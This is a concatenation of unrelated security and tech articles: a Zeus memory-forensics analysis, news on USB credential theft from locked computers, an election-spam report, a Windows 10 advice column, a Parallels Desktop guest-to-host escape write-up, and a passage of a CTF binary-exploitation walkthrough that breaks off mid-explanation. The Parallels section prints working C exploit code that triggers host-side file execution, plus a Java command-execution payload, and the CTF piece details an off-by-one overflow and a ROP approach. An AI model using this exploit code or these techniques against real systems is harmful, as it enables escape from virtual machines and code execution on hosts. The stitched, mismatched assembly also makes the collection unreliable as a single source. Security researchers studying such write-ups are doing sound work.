REG_SZ Userinit : (S) C:\WINDOWS\system32\userinit.exe,C:\WINDOWS\
system32\sdra64.exe,
REG_SZ VmApplet : (S) rundll32 shell32,Control_RunDLL “sysdm.cpl

REG_DWORD SfcQuota : (S) 4294967295
REG_SZ allocatecdroms : (S) 0
REG_SZ allocatedasd : (S) 0
REG_SZ allocatefloppies : (S) 0
REG_SZ cachedlogonscount : (S) 10
REG_DWORD forceunlocklogon : (S) 0
REG_DWORD passwordexpirywarning : (S) 14
REG_SZ scremoveoption : (S) 0
REG_DWORD AllowMultipleTSSessions : (S) 1
REG_EXPAND_SZ UIHost : (S) logonui.exe
REG_DWORD LogonType : (S) 1
REG_SZ Background : (S) 0 0 0
REG_SZ AutoAdminLogon : (S) 0
REG_SZ DebugServerCommand : (S) no
REG_DWORD SFCDisable : (S) 0
REG_SZ WinStationsDisabled : (S) 0
REG_DWORD HibernationPreviouslyEnabled : (S) 1
REG_DWORD ShowLogonOptions : (S) 0
REG_SZ AltDefaultUserName : (S) Administrator
REG_SZ AltDefaultDomainName : (S) BILLY-DB5B96DD3

Well that key is certainly apparent and this is our persistence mechanism. So the Zeus/Zbot injector process is called at start-up to insert it’s hooks and malicious code in our legitimate looking processes to evade detection. This would be something you’d want to clean up if you were re-mediating the system as well.

“The Windows XP firewall is disabled. This causes a Windows Security Center warning icon to appear in the system tray, the only visible indication that the computer has been infected.”

It looks like Zeus/Zbot also takes care of disabling the Windows Firewall so your not annoyed with any popups while it’s pilfering through your banking data. Googling around there are some registry forensics blogs that keep track of the location for windows firewall settings. Using our command printkey we can detect if this is enabled or disabled in this specific image.


C:\RE\volatility2.0\py\volatility-2.0>python vol.py -f zeus.vmem printkey -K "Co
ntrolSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile"
Volatile Systems Volatility Framework 2.0
Legend: (S) = Stable (V) = Volatile
----------------------------
Registry: \Device\HarddiskVolume1\WINDOWS\system32\config\system
Key name: StandardProfile (S)
Last updated: 2010-08-15 19:17:24

Subkeys:
(S) AuthorizedApplications

Values:
REG_DWORD EnableFirewall : (S) 0

So the firewall is currently disabled and if you notice the timestamp on the key as well. It looks like this was last updated at 2010-8-15 at 19:17:24. This is tidbit of information that you could use in a timeline analysis if you had to document to this level of detail. The specific Zeus/Zbot may not modify this key every time but check if its set according to it’s specifications. I’m not sure as I don’t have the file but it would be a reasonable assumption. Also the EnableFirewall key was not in the DomainProfile but only the StandardProfile for you registry pros out there.

“A closer look at its binary file reveals that the spyware was designed to monitor known ZBOT mutexes, _AVIRA_ and __SYSTEM__.”


C:\RE\volatility2.0\py\volatility-2.0>python vol.py -f zeus.vmem mutantscan
Volatile Systems Volatility Framework 2.0
[snip]
0x05ca17e8 0x810ae5e0 2 1 1 0x00000000 '_AVIRA_2108'
[snip]

Well there is certainly a mutex that has been recent in memory for AVIRA which ironically enough is the name of an antivirus engine. It was sent to poke fun at the anti-virus companies by the programmer’s of Zeus. It also looks from the above mutex that we have a 1.x version of Zeus/Zbot as in 2.x versions they use randomly generated GUID’s over mutexes to communicate.

So there we have it using Volatility we can get a look at a Zeus/Zbot infection and determine steps here for possible remediation just based on a memory dump. We’d have more resources if we were able to have access to the system as well so we could study the injector process to see if it has any other persistence mechanisms. It’s doubtful since this matches so closely to the typical Zeus/Zbot signature. I hope you enjoyed reading this article!

Edit: Looks like another Zeus article was written and is linked here to give you another viewpoint on this piece of malware.

References:

[1] – http://www.fortiguard.com/analysis/zeusanalysis.html

[2] – http://www.dfrws.org/2007/proceedings/p62-dolan-gavitt.pdf

[3] – http://www.eptuners.com/forensics/contents/examination.htm

[4] – http://www.sans.org/reading_room/whitepapers/malicious/clash-titans-zeus-spyeye_33393

[5] – http://www.symantec.com/connect/blogs/brief-look-zeuszbot-20

Stealing login credentials from a locked PC or Mac just got easier

Snatching the login credentials of a locked computer just got easier and faster, thanks to a technique that requires only $50 worth of hardware and takes less than 30 seconds to carry out.

Rob Fuller, a principal security engineer at R5 Industries, said the hack works reliably on Windows devices and has also succeeded on OS X, although he’s working with others to determine if it’s just his setup that’s vulnerable. The hack works by plugging a flash-sized minicomputer into an unattended computer that’s logged in but currently locked. In about 20 seconds, the USB device will obtain the user name and password hash used to log in to the computer. Fuller, who is better known by his hacker handle mubix, said the technique works using both the Hak5 Turtle ($50)and USB Armory ($155), both of which are USB-mounted computers that run Linux.

“First off, this is dead simple and shouldn’t work, but it does,” mubix wrote in a blog post published Tuesday. “Also, there is no possible way that I’m the first one that has identified this, but here it is (trust me, I tested it so many ways to confirm it because I couldn’t believe it was true).”

The pilfered authentication hash can either be cracked or downgraded to another hash that can be used to gain unauthorized access. In the event the machine is running an older version of Windows, the returned NTLMv1 hash can be converted to NTLM format no matter how complex the underlying plaintext password is. And from there, it can be used in pass-the-hash-style attacks. A NTLMv2 hash used by newer versions of Windows would require more work. In mubix’s tests, hashes returned by even a fully up-to-date El Capitan Mac were able to be downgraded to a susceptible NTLMv1 hash.

The Hak5 Turtle and USB Armory are both full Linux computers that are capable of emulating a USB Ethernet device. Mubix outfitted them with simple configuration modifications that present the hardware as a DHCP server. The status makes the USB device the default gateway that’s able to receive network traffic. Using a hacking app known as Responder, the device can then receive authentication tokens. Mubix reports that some people have gotten a similar setup to work on a RaspberriPi Zero, making the cost of this hack $5 and about 10 minutes of configuration setup.

Here’s a video of it in action:

USB credential stealing while screen is locked.

In an e-mail, Fuller wrote:

What is happening in the video, is the USB Armory is being plugged into a locked (but logged in) system. It boots up via the USB power, and starts up a DHCP server, and Responder. While it’s doing this, the victim is recognizing it as a Ethernet adapter. The victim then makes route decisions and starts sending the traffic it was already creating to the Armory instead of the “real” network connection. Responder does its job and responds to all kinds of services asking for authentication, and since most OSs treat their local network as “trusted” it sees the authentication request and automatically authenticates. Seeing that the database of Responder has been modified the Armory shuts down (LED goes solid).

The demo underscores the age-old maxim equating physical access with owning or “pwning” a device. Still, the lock screen is a regular feature in most offices for users who don’t want to turn off or physically bring their computer with them while using the restroom. And for that reason, a hack that surreptitiously steals the passwords of such computers in 20 seconds is noteworthy.

Mubix said he’s working on a follow-up post suggesting ways to prevent the attack. In the meantime, he’s referring people to this mitigation technique, which he says works “pretty well.”

Election Spam Trumps Phishing As November Draws Closer

Overview

Presidential elections, like many other major events and seasonal occurrences, are prime time for spammers and cyber attackers to incorporate timely and relevant lures into their operations.

As we approach November in an especially sensational Presidential race, Proofpoint researchers have seen a variety of election-themed emails – everything from straightforward text-based spam with embedded links to credential phishing. In terms of our themes, our spam samples skew heavily towards lures featuring Donald Trump. The Republican nominee appears in nearly 169 times as many messages as those featuring his Democratic opponent, Hillary Clinton.

Analysis

We scanned subject lines in spam messages detected across our customer base in June and July for occurrences of “clinton” or “trump” and observed a disproportionate number featuring only “trump.” Figure 1 shows the relative volumes of messages mentioning one or both candidates in the message Subject in June. Overall, Trump appeared over 270 times more often in June than Clinton alone and 34 times as often as either Clinton or both candidates.

election-spam01.png

Figure 1: Spam volumes in our samples strongly favored Trump-themed lures during the month of June.

This trend was also noticeable the following month, though in a slightly less lopsided fashion. Trump-themed lures appeared just 67 times more often than Clinton-themed lures in July (Figure 2).  This disparity between the two months was the result of two particularly large campaigns in June featuring Trump-related lures.

election-spam02.png

Figure 2: Election-related spam volumes favored Trump-themed lures even more heavily in July.

As the boost from the two outlier Trump campaigns faded, overall election-related spam volume fell sharply in July. Still, the median number of messages per day (a measure less affected by outliers) rose 37%.

July’s median trend is more in line with our expectations that attackers would seek to make the most of public attention around the Democratic and Republican conventions. Figure 3 shows the changing volumes by month and the relative volumes by candidate. Across both months, Trump-themed lures were almost 170 times as common as those featuring only Clinton and 33 times as common as lures featuring both candidates.

election-spam03.png

Figure 3: Overall volumes increased dramatically by month, while the divide between Trump- and Clinton-related spam volumes deepened.

Figure 4 shows a typical example of a Trump-themed, graphical message. The message featured in Figure 5 followed a more common, text-based format.

election-spam04.png

Figure 4: An example of a Trump-themed message using faked CNN imagery and spoofed CNN addresses to lend legitimacy.

election-spam05.png

Figure 5: A different text-based Trump-themed message with embedded links leading to unrelated materials.

Whether they used graphics or text, the lures followed two general themes:

  • Surprising election news by or about Trump: These usually had a fake sending alias of a major news organization like CNN or Fox News. Names and sometimes branding for both liberal and conservative news outlets were used in these lures.
  • “Get rich / smart like Trump”: These sometimes included subtitles such as “Wall Street is outraged” and similar messages with fake sending aliases that appeared to come from consumer finance publications like “CNN Money”.

We also observed an election-related credential phishing attempt that enticed users to log in to Gmail to “verify their identity” in order to participate in a voter poll (Fig. 6). However, to date this has not been a common tactic. Instead, more traditional lures to click through to work-from-home sites and common spam targets appeared much more frequently.

election-spam06.png

Figure 6: A Gmail phishing link using election themes to convince recipients to enter their credentials.

Conclusion

As Patrick Wheeler, Director of Threat Intelligence at Proofpoint, noted, “This is a contentious election, so we expected high volumes of election-related spam as threat actors capitalize on public attention. What we didn’t expect was the very lopsided use of lures related to a single candidate.”

Whether these trends will shift as we get closer to the November election remains to be seen. Regardless of the specific subjects and lures spam actors use, individuals and organizations need to exercise particular caution in opening and interacting with election-related mail they receive. Many of these messages are merely annoying. But others can be malicious, relying on our curiosity about the elections to lead us to phishing pages, compromised websites, and more.

What to do when you hate Windows 10

I usually start this column with “so and so needed something done to their PC,” but if I were to include the names of all the people who have written me about how unhappy they are with their Windows 10 “upgrade” the file would be so large the server that hosts this page would need a new hard drive. I’ve been inundated with unhappy Windows 10 users for the past two months, and my heart goes out to these folks. A lot of them were upgraded unsuspectingly, and Microsoft deserves a ton of scorn for its malware-likeWindows 10 upgrade tactics. That said, now that you have Windows 10 on your PC and you’re not happy, here’s what you can do about it.

1. Keep it, but make some changes

I know this is probably not what you want to hear, but overall I don’t think Windows 10 is a bad OS like Windows 8 was when it launched. It’s essentially a hybrid version of Windows 7 and Windows 8.1, and it’s going to be around for a very long time in one form or another so you might as well get comfortable with it now. It also offers a lot of tweaks that could help it grow on you. Here are some of my favorites:

Enable Dark Mode

Muzzle Cortana

Customize the Start Menu

Enable tracking for your laptop

Disable Quick Access in File Explorer

Use virtual desktops

Tweak your desktop colors

Snap your windows


Dark mode – give it a try!

And that’s just scratching the surface. For a ton more tips check here,here, andhere.

2. Go back to your old OS, aka the Nuclear Option

If you have a copy of your OS on disc or digital media, you can always just nuke and pave, as we say. That means you will wipe the hard drive and reinstall the OS from scratch. We generally don’t recommend it, however, because it’s a huge hassle. If your data files such as music, documents, pictures and such are on the same partition as your OS you’ll need to back up everything first, reinstall your OS from scratch, them migrate everything back. Now, if you followed our previous advice about keeping your OS and data on separate partitions you’re in better shape, and situations like this is exactly why we deploy this strategy. You can reinstall your OS without touching any of your precious data.

3. Restore from Factory OS partition

This one is tricky. Say you have a PC from a company such as Dell, Lenovo, or HP. They will typically ship the PC with a recovery partition, meaning an image of the system as it left the factory is stored on a small partition, and you can restore the PC to that factory condition by using a built-in utility that you launch at boot. I have not been able to test this, but if that partition is for Windows 7 or 8, it seems that installing Windows 10 might render that “old” partition unusable. In this forum thread, the moderator states, “If you upgrade using Windows Update or the .ISO media, your recovery partition will become inoperable.” Therefore, if you have a Windows 7 or 8 recovery partition, be sure to create recovery media before the upgrade, just in case. If you have physical media that came with your PC you can also use that.

4. Isn’t there an easier way to go back to my old OS?

Not anymore, there isn’t. There was a period during the “free upgrade” era when Microsoft allowed people to try Windows 10 for 31 days and go back if they were unhappy, but that window has closed. So for now you’re stuck with it.

Simple guest to host VM escape for Parallels Desktop

Simple guest to host VM escape for Parallels Desktop

First post in this blog that written in english, please be patient with my awful language skills.

This is a little story about exploiting guest to host VM escape not-a-vulnerability in Parallels Desktop 10 for Mac. Discovered attack is not about some serious hardcore stuff like hypervisor bugs or low-level vulnerabilities in guest-host communication interfaces, it can be easily performed even by very lame Windows malware if your virtual machine has insecure settings.

Discovering

It always was obvious to me, that rich features for communicating with the guest operating systems (almost any modern desktop virtualisation software has them) might be dangerous. Recently I finally decided to check, how exactly they can be dangerous on example of the virtualisation software that I’m using on OS X (and millions ofother users too). It’s a nice product and I think that currently it has a much less attention of security researchers than it actually deserving.

Parallels Desktop 10 virtual machines has a lot of user-friendly capabilities for making guest operating system highly integrated with the host, and most of such options are enabled by default.
Let’s talk about one of them:

Parallels Desktop 10 VM options
There is “Access Windows folder from Mac” option that looks pretty innocent (please note, that all other sharing options are off). This option is enabled by default for all of the virtual machines as well, and here is the description of this option from Parallels Desktop 10 for Mac User’s Guide:

Access a Windows Folder or File from a Mac OS X Application
 
By default, you can navigate to all your Windows folders and files from Mac OS X. Windows disks are mounted to /Volumes. At the same time, Windows appears as a hard disk mounted on the Mac OS X desktop.
Note: The Windows disk disappears from the desktop and the Finder, but you can still access all of the Windows files and folders via the Windows PVM file and Terminal (/Volumes). By default, the PVM file is either in /Users/<Username>/Documents/Parallels/ or /Users/Shared. You can also find the PVM file by right-clicking Windows in Parallels Desktop Control Center (or in the virtual machine window when Windows is shut down) and selecting Show in Finder. To access Windows files and folders, right-click the PVM file, selectShow Package Contents from the context menu, and open the Windows Disks folder. To disable the ability to navigate to Windows files and folders, deselect Access Windows folders from Mac in step 3 above.
Well, just a guest file system sharing, you’ll say, what could possibly go wrong? Unfortunately, a lot.

After enabling this option you also can notice, that in context menu of Windows Explorer presents a very interesting “Open on Mac” shortcut:

Looks promising, right? Technically this option asking the piece of Parallels software that working on the host side to do the thing, that equivalent to double-clicking on a target file in Finder.

Guest-side part of this option is implemented as PrlToolsShellExt.dll shell extension (MD5 sum of DLL with version 10.1.1.28614 on my Windows 8.1 x64 guest is 97D15FB584C589FA297434E08CD0252F). Menu item click handler is located at function sub_180005834() and after some pre-processing of input values it sends IOCTL request to the device \Device\prl_tg that aims to one of the Paralles kernel mode drivers (prl_tg.sys):

After the breakpoint on this DeviceIoControl() call we will obtain a call stack backatrace and function arguments:

0:037> k L7
Child-SP          RetAddr           Call Site
00000000`12bcd1c0 00007ff9`2a016969 PrlToolsShellExt!DllUnregisterServer+0x1596
00000000`12bcd310 00007ff9`2a01fd71 SHELL32!Ordinal93+0x225
00000000`12bcd410 00007ff9`2a4cf03a SHELL32!SHCreateDefaultContextMenu+0x581
00000000`12bcd780 00007ff9`2a4cc4b1 SHELL32!Ordinal927+0x156c2
00000000`12bcdaf0 00007ff9`2a4c76f7 SHELL32!Ordinal927+0x12b39
00000000`12bcded0 00007ff9`21d09944 SHELL32!Ordinal927+0xdd7f
00000000`12bcdf20 00007ff9`21d059d3 explorerframe!UIItemsView::ShowContextMenu+0x298

First 4 arguments of the DeviceIoControl(), rcx – device handle, r8 – input buffer, r9 – buffer length:

0:037> r
rax=0000000012bcd240 rbx=0000000000000000 rcx=0000000000000d74
rdx=000000000022a004 rsi=0000000000000001 rdi=0000000000000070
rip=00007ff918bd5b92 rsp=0000000012bcd1c0 rbp=000000000022a004
r8=0000000012bcd240  r9=0000000000000070 r10=000000001a5bc990
r11=000000001a5bd110 r12=0000000000000002 r13=0000000012bcd490
r14=0000000012bcd4a0 r15=0000000016af90f0

Last 4 arguments of the DeviceIoControl() that was passed over the stack:

0:037> dq rsp L4
00000000`12bcd1c0  00000000`00000000 00000000`02bdc218
00000000`12bcd1d0  00000000`00000001 00000000`00ce2480

IOCTL request input buffer:

0:037> dq @r8
00000000`12bcd240  ffffffff`00008321 00000000`00010050
00000000`12bcd250  00000000`00000001 00000000`00000002
00000000`12bcd260  00000000`00000002 00000000`00000000
00000000`12bcd270  00000000`00000000 00000000`00000000
00000000`12bcd280  00000000`00000000 00000000`00000000
00000000`12bcd290  00000000`00000000 00000000`00000000
00000000`12bcd2a0  00000000`02c787d0 00000000`0000003c

It consists from several magic values and pointer to the ASCII string with the target file path at 0x60 offset:

0:037> da poi(@r8+60)
00000000`02c787d0  "\\psf\TC\dev\_exploits\prl_guet_"
00000000`02c787f0  "to_host\New Text Document.txt"

After sending this IOCTL control request to the driver, specified file will be opened at the host side. It’s also interesting and useful, that this action can be triggered from Windows user account with any privileges (including Guest):

\Device\prl_tg security permissions

And because the target file will be opened at the host side with privileges of the current OS X user, it seems that “Access Windows folder from Mac” option is definitely breaks a security model that you’re usually expecting from guest-host interaction.

Exploiting

The following function was implemented after the short reverse engineering of shell extension. It interacting with the Parallels kernel driver and executing specified file at the host side:

void OpenFileAtTheHostSide(char *lpszFilePath)
{
    HANDLE hDev = NULL;

    // get handle to the target device    
    if (OpenDevice(L"\\Device\\prl_tg", &hDev))
    {
        PDWORD64 RequestData = (PDWORD64)LocalAlloc(LMEM_FIXED, 0x70);
        if (RequestData)
        {
            IO_STATUS_BLOCK StatusBlock;          

            ZeroMemory(RequestData, 0x70);

            /*
                Fill IOCTL request input buffer.
                It has the same layout on x86 and x64 versions of Windows
            */
            RequestData[0x0] = 0xffffffff00008321; // magic values
            RequestData[0x1] = 0x0000000000010050;
            RequestData[0x2] = 0x0000000000000001;
            RequestData[0x3] = 0x0000000000000002;
            RequestData[0x4] = 0x0000000000000002;
            RequestData[0xc] = (DWORD64)lpszFilePath; // file path and it's length
            RequestData[0xd] = (DWORD64)strlen(lpszFilePath) + 1;

            NTSTATUS ns = NtDeviceIoControlFile(
                hDev, NULL, NULL, NULL, &StatusBlock,
                0x22a004, // IOCTL code
                RequestData, 0x70,
                RequestData, 0x70
            );
            
            DbgMsg(__FILE__, __LINE__, "Device I/O control request status is 0x%.8x\n", ns);

            // ...

            M_FREE(RequestData);
        }

        CloseHandle(hDev);
    }
}

Now let’s write some payload.
Unfortunately, we can’t execute a shell script or AppleScript file in this way because such files will be opened in a text editor. But there’s still a lot of other evil things that attacker can do with the ability of arbitrary file opening. For example, it’s possible to write a Java .class that executes specified command and saves it’s output to the guest file system (that usually mounted at /Volumes/<windows_letter>):

public static void main(String[] args) 
{ 
    // exeute command and get it's output
    StringBuilder output = new StringBuilder();
    if (exec(defaultCmd, output) == -1)
    {
        output.append("Error while executing command");
    }
                     
    String volumesPath = "/Volumes";
    File folder = new File(volumesPath);

    // enumerate mounted volumes of Parallels guests
    for (File file : folder.listFiles()) 
    {
        if (file.isDirectory()) 
        {    
            // try to save command output into the temp
            String outFile = volumesPath + "/" + 
                file.getName() + "/Windows/Temp/prl_host_out.txt";

            try
            {                    
                write(outFile, output.toString());
            }                    
            catch (IOException e) { continue; }
        }
    }
}

Using this .class and OpenFileAtTheHostSide() function we can implement a usable command execution exploit:

Execution of commands using PoC

Full exploit code is available at GitHub: https://github.com/Cr4sh/prl_guest_to_host

Protection from this attack is pretty simple: disabling “Access Windows folder from Mac” option in virtual machine settings prevents the ability of opening files from the guest systems.
Also, you can enable “Isolate Windows from Mac” option that disables (in theory) all of the virtual machine sharing features:

TL;DR

  • It can be rather an incomplete documentation issue than vulnerability. It’s absolutely not obvious for user, that guest file system sharing can lead to arbitrary code execution at the host side.
  • Exploit is very simple and reliable, works under all of the versions of Windows on guest machines, attack can be performed with the privileges of any Windows user that belongs to the Everyone security group. This issue is also relevant to other guest operating systems (like Linux and OS X), however, provided PoC was designed only for Windows.
  • It will be good to disable sharing options of virtual machines, if such attack vector might be a critical for your threat model.
  • I think that It’s very unlikely that Parallels will release any significant fixes or improvements for described mechanisms, because any reasonable fix will break the easy way of opening Windows documents on Mac.
  • I played a bit with only one sharing option, but who knows now many similar (or even worse) security issues are actually exists in Parallels, VMware and Oracle products.

PS: Have a good fun at ZeroNights, too bad that this year I’m missing it.

31C3 CTF: Maze write-up

This is my write-up for the maze challenge in the 31C3 CTF, that I played with the Hacking For Soju team. We “only” got 10th place (out of the 286 teams that scored any points at all), but considering that only me, capsl and avlidienbrunn had time to spend any time on it (and I was able to score 170 out of our 340 points, which would have given me the #33 spot if I had played alone), it wasn’t too shabby! 🙂 If I hadn’t been so sleepy/off during large parts of the CTF, I would probably have been able to score a bit more. Greets to capsl for brainstorming about the potential ROP-scenarios btw!

To make this write-up more useful for people that want to learn, I have tried to make it quite detailed.

The information for the challenge was:

The provided tar.gz file contained the binary for the challenge: maze

To run it as a server process on your own system, you can use the following command:

When connecting to the target, the following message is displayed:

Since the name of the challenge is “maze”, and we are presented with a message that states that we can only go east, the valid inputs are presumably east, west, north and south, and we are supposed to navigate through a maze in order to eventually reach some sort of goal. In order to understand exactly what is going on, and to see if there are any vulnerabilities that we can exploit along the way, our next step is to load the binary in IDA Pro and analyze the code. But first, let’s see what kind of protections are enabled for the binary in question, using checksec.sh.

I would suggest that you make a habit of checking which exploit mitigations have been enabled for your target before you start auditing it. For real-world targets, this will give you an idea of the preconditions you will probably have to meet in order to achieve reliable exploitation of the target (i.e. if information leaks are necessary, and so on). For CTF challenges, it can even provide hints on what kind of vulnerabilities to look for.

In this case, NX is enabled, so we will probably have to use a ROP based payload. PIE (Position-Independent Executable) is not enabled, so we will be able to use ROP gadgets from the executable itself even if ASLR is enabled on the target system. However, the binary is rather small, so there is probably only a limited number of suitable ROP gadgets available. Stack canaries are not enabled, which is a strong indication that the vulnerability to look out for in this case is probably a stack-based buffer overflow.

Do not rely completely on the information you determine this way though. In some cases (i.e, a poorly organized CTF), the binary running on the actual target is slightly different than the one provided, or some protections have been explicitly disabled/enabled on the target system.

Also note that the binary is a 64-bit Linux executable. Analyzing 64-bit (x86_64, to be specific) code has recently become a lot less time consuming, due to the release of Hex-Rays x64. Hex-Rays is an excellent decompiler plugin for IDA Pro, that lets you interactively work with the decompiled code in order to make sense of it. Note that there are still corner-cases that Hex-Rays is not able to handle, especially when dealing with obfuscated code and code that has been explicitly designed in order to make static analysis difficult. If you find something strange in the decompiled code, always perform manual analysis of the assembly code in question.

After the initial pass through the Hex-Rays decompiler, the code shown below is produced (note that irrelevant code, i.e the automatically inserted stub that is calling __libc_start_main() and the code handling initialization and cleanup, has been manually removed from the source code listing). While reading it, try to see if you can spot the vulnerability:

As you can see, this is a really small and simple program, and the Hex-Rays output is pretty readable as-is. When working with the code in IDA, I can clean things up further though. Renaming functions and variables, changing types and function definitions, adding comments, and manually fixing mistakes that has been made by IDA:s automatic code analysis, can make the code a lot easier to understand, and make it easier to spot vulnerabilities in the code.

After working with the code manually in IDA for a while, we end up with the following code. If you have not found the vulnerability yet, look for it once again while reading through the updated code listing:

If you did not find the vulnerability this time either, you need to practice more. 😉 In the original code, it was easy to overlook (although still quite visible, when taking the stack/frame pointer offsets in the automatically produced comments into account). In the revised code, the vulnerability is rather obvious though. Note how the decompiled code in the append_highscore() function (originally, sub_400CE0) has changed:

Before:

After:

As you can see, 1056 bytes is read into a 1056 byte buffer, but, it begins reading at offset 1. This means that we are able to overflow the buffer with one byte. While this is obviously a rather contrived example, off-by-one vulnerabilities are often found in the wild as well. Typical cases include people doing things like buf[sizeof(buf)] = X, or allocating room for strings without taking the terminating NUL-byte into account.

So, what can we accomplish with a 1-byte-overflow? Well, that obviously depends on what is stored right after the buffer in question, and if our target is running on a little-endian or a big-endian architecture. For little-endian architectures, including x86 and x86_64, the least significant byte (LSB) of a value, including pointers, is stored first. So, if we are overwriting the LSB of an address that is originally 0xbadc0ded, it is the ‘ed’ at the end of the address that will be overwritten, and not the ‘ba’ in the beginning of it. To make this clearer, here is an illustration of how the 32-bit value 0xbadc0ded is stored in memory (each hex-character represents 4 bits, so one byte is represented by two hex characters):

badc0ded-lsb

Overwriting the LSB of an address will thus shift it slightly, with up to 255 bytes depending on what the original value was. If the original value is 0x123456, overwriting the LSB with 00 will change it to 0x123400, effectively subtracting 0x56 from the original value. So, what is stored right after our buffer in this case? Well, the automatically produced comment for our buf-variable will reveal that right away. “[bp-420h]” means that the buffer is located at rbp (the current base/frame pointer value) minus 0x420 (and 0x420 = 1056). Note that rbp points to the location of the saved rbp value, that will be restored when returning from the function. Our 1-byte-overflow will overwrite the least-significant-byte of the saved rbp value, which means that we will be able to control (part of) rbp after append_highscore() has returned back into reached_goal().

Regarding frame pointers, note that they are actually forming a linked list. The current frame pointer value (rbp) points to the saved frame pointer value in the current function’s stack frame, and the saved frame pointer value points to the saved frame pointer of the calling function’s stack frame, and so on. Below you can see how the stack frames for each function in maze are linked together, at the time when append_highscore() is executed. Since the stack grows down, towards lower addresses, the ‘buf’ buffer in append_highscore()’s stack frame is stored at a lower address than all the saved frame pointer values.

maze stack

This description is a bit simplified though, since each function, including append_highscore(), saves a few other registers as well. While this is not apparent when looking in Hex-Rays, when looking at the actual assembly code in IDA we can see that the stack space that is being reserved for the buffer on the stack is actually 0x408 = 1032 bytes, and since this probably includes some extra padding added by gcc, the original size of the buffer in the source code was probably less than this. Most likely it was declared to be 1016 bytes, and the buf[1016] = ‘\0’ was actually buf[sizeof(buf)] = ‘\0’ in the original source code, and since the contents of the rbx register is pushed to the stack right before the stack space for buf is reserved, this actually means that the LSB of the saved rbx register is being overwritten with a NUL-byte regardless of if we are exploiting the overflow with read() or not.

function prologue for append_highscore()

When returning from append_highscore(), back into reached_goal(), the saved contents of the rbx, r12 and r13 registers are restored from the stack, as well as the saved frame pointer (rbp). In this case, reached_goal() is not using any of those registers before returning into main(), but if it did, that could have potentially resulted in other exploitable scenarios as well. Even though it did not matter in this particular case, always aim to have a complete understanding of everything that is going on, since there will be times when paying attention to those small details are crucial to success.

If reached_goal() would have referenced any local stack variables after append_highscore() returned, and if the assembly code produced to reference those variables used the base/frame pointer, that could have resulted in potentially exploitable side-effects for us as well. In cases such as this, when the function that was calling the vulnerable function is returning to a function one step further up the call-chain, an even more convenient opportunity arises though. For code that is compiled to use frame pointers, the function epilogue usually ends with “leave; ret”, or equivalently, “mov rsp, rbp; pop rbp; ret”. As you can see, this sets rsp = rbp (i.e, if we controlled the contents of rbp, we now control the stack pointer), pops the new rbp value, and finally returns (i.e. pops the return address, using the stack pointer that is now under our control). Looking at the code, we can see that it uses a variation of this, that sets rsp = rbp-0x28, restores 5 registers (5*8=40=0x28) and then pops rbp and returns.

function epilogue for reached_goal()

So, by exploiting the 1-byte-overflow of a stack buffer in append_highscore(), we will actually be able to control the stack pointer when returning from the reached_goal() function. In other words, we have control over where the return address is about to be retrieved. Pointing rsp into a buffer that we control the contents of will thus allow us to control the return address. Ideally, we want to point rsp into a buffer containing a full ROP chain to exploit the program in question. If we would have known the address of the system() function, and if the RDI register (that is used for storing the first function argument, in the standard x86_64 ABI) had contained the address of a buffer that we control the contents of, the full ROP chain in question would have only consisted of a return into system(). 🙂 Always keep in mind all the parameters that are under your control (i.e register values, buffer contents, and so on), and information you currently have (base addresses of libraries, the executable, stack/heap addresses, and so on), and what information you can potentially deduce. Sometimes there are case-specific shortcuts you can take in order to achieve reliable exploitation of a particular target.

As I mentioned earlier, overwriting the least-significant-byte of the saved rbp value will allow us to shift it to an address slightly further up or down the stack, with up to a maximum of 255 bytes (up to 248 bytes in this case, since the saved rbp value will obviously be aligned to an 8-byte-boundary). Shifting it to a higher address will not do us any good, since we do not control the contents of any stack buffers allocated there. Shifting it to a lower address can potentially point it into the ‘buf’ buffer though, depending on what the LSB of the original saved rbp value is. By overflowing with a NUL-byte, we ensure that we are effectively subtracting as much as possible from the saved rbp value, and maximize our chances of pointing rbp into our buffer.

Due to ASLR, the LSB of the saved rbp value will vary (and sometimes, the LSB will even be 0 to begin with), so it is possible that we need to make a few attempts in order to exploit this. When ASLR is enabled, the base address (and once again, keep in mind that the stack grows down towards lower addresses) of the stack will be randomized, and unlike the randomization of base addresses for dynamically loaded libraries, and PIE-binaries, the offset within the memory page will be randomized as well. For libraries/PIE-binaries, the 12 least significant bits will always remain the same, and can be used to narrow down the potential binary versions that are running on a system that you are exploiting in cases where you have found an information leak.

We now know where the vulnerability is, and have a rough idea of how to exploit it (i.e, overflow the LSB of the saved rbp with a NUL-byte, hoping that it is enough to point it into our buffer, where we will store a ROP chain). This was the easy part. 😉 To actually trigger the vulnerability, it turns out that we have to solve the maze. Since the maze is fairly large (179×95), we obviously don’t want to go through the process of solving the maze manually on each exploitation attempt (as I mentioned, the exploit will not work every time due to ASLR). Since the maze is static and hardcoded into the binary, we can just solve it manually and send the solution after connecting though.

Initially, I decided to make a small python script in order to visualize the maze. By analyzing the, slightly hairy, algorithm of the check_valid_moves_loop, we can deduce that maze_map[] is actually an array containing the x- and y-coordinates of all the occupied squares (the walls) in the maze. Even if we would not have been able to deduce this by looking at the code alone, it could have been deduced by analyzing the data in the array in question. Especially when visualizing it. 🙂

I made this script to extract the maze data from the binary, and create a PNG file:

This is the resulting PNG file:
maze

I then wrote a simple recursive algorithm in order to solve the maze:

By connecting and sending the full solution to the maze we reach the vulnerable part of the code, i.e. the code that reads a name to add to the highscore list, in a fraction of a second. So, even if we need to make a few attempts in order to exploit it, due to ASLR, it will not make any real difference for us. Time to pwn. 😉

Since the binary is so small, we don’t have a lot of suitable ROP gadgets to play with. We need to find ways to use the ones we have as effectively as possible. My first attempt was to see if I could return into reached_goal(), right before the call to fopen(). We don’t actually need to get code execution on the target to solve this challenge, to get the flag we only need to be able to read a file (and based on the other levels, it seemed like a reasonable guess that the flag was stored in either /home/user/flag or /home/user/flag.txt). The code in reached_goal() reads the current highscore file, and prints the last of the names in question.

There is a problem with this approach though. We need to populate RDI with a pointer to a string with the filename we want to read, and at this point, we do not know the address of any buffer under our control. This problem is possible to solve by returning into read() though, in order to populate a buffer at an address of our choosing. A suitable address for this purpose must obviously be a valid and writable one, and since the target is a non-PIE-binary, the data segment for the executable itself resides at a fixed and known address. We can simply use 0x6060A0, which is the address of the .data section.

Note that read() is a libc-function, and since we do not know the address where libc is mapped, we can not return directly into read(). If we had known the libc base address, we could have just returned directly into system() at this point, after populating RDI with the address of the “/bin/sh” string within libc itself. We solve this by returning into the PLT-entry for read(), since read() is one of the functions that are imported by the non-PIE target binary. The PLT-entry for read(), which acts as a trampoline into read() in libc, is stored at 0x400850.

